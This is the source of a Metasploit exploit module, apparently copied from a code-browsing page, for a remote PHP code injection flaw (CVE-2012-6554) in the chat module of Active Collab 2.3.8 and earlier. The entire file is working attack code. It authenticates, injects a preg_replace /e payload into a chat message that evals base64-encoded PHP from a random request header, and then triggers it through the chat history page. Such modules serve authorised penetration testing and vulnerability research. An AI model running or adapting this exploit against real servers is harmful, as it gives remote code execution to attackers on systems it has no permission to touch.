Path: blob/master/modules/exploits/multi/http/activecollab_chat.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Active Collab "chat module" Remote PHP Code Injection Exploit',15'Description' => %q{16This module exploits an arbitrary code injection vulnerability in the17chat module that is part of Active Collab versions 2.3.8 and earlier by18abusing a preg_replace() using the /e modifier and its replacement19string using double quotes. The vulnerable function can be found in20activecollab/application/modules/chat/functions/html_to_text.php.21},22'License' => MSF_LICENSE,23'Author' => [24'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module25],26'References' => [27['CVE', '2012-6554'],28['OSVDB', '81966'],29['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],30],31'Privileged' => false,32'Payload' => {33'Keys' => ['php'],34'Space' => 4000,35'DisableNops' => true,36},37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' => [['Automatic', {}]],40'DisclosureDate' => '2012-05-30',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('URI', [true, "The path to the ActiveCollab installation", "/"]),53OptString.new('USER', [true, "The username (e-mail) to authenticate with"]),54OptString.new('PASS', [true, "The password to authenticate with"])55]56)57end5859def check60login_path = "public/index.php?path_info=login&re_route=homepage"61uri = normalize_uri(datastore['URI'])62uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"6364cms = send_request_raw({ 'uri' => uri }, 25)6566uri = normalize_uri(datastore['URI'])67uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'6869chat = send_request_raw({ 'uri' => uri }, 25)7071# cant detect the version here72if (cms and cms.body =~ /powered by activeCollab/)73# detect the chat module74if (chat and chat.code == 200)75return Exploit::CheckCode::Detected76end77end78return Exploit::CheckCode::Safe79end8081def exploit82user = datastore['USER']83pass = datastore['PASS']84p = Rex::Text.encode_base64(payload.encoded)85header = rand_text_alpha_upper(3)86login_uri = normalize_uri(datastore['URI'])87login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'8889# login90res = send_request_cgi({91'method' => 'POST',92'uri' => login_uri,93'vars_post' =>94{95'login[email]' => user,96'login[password]' => pass,97'submitted' => "submitted",98}99}, 40)100101# response handling102if res and res.code == 302103if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/104acsession = $1105end106elsif res and res.body =~ /Failed to log you in/107print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")108elsif res and res.code != 200 or res.code != 302109print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")110end111112# injection113iuri = normalize_uri(datastore['URI'])114iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'115iuri << "?path_info=chat/add_message&async=1"116phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"117injection = "<th>\");#{phpkode}</th>"118cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"119res = send_request_cgi({120'method' => 'POST',121'uri' => iuri,122'headers' =>123{124'cookie' => cookies125},126'vars_post' =>127{128'submitted' => "submitted",129'message[message_text]' => injection,130'message[chat_id]' => "1",131'message[posted_to_user_id]' => "all"132}133}, 25)134135euri = normalize_uri(datastore['URI'])136euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'137euri << "?path_info=/chat/history/1"138139# execution140res = send_request_cgi({141'method' => 'POST',142'uri' => euri,143'headers' =>144{145header => p,146'cookie' => cookies147}148})149end150end151152153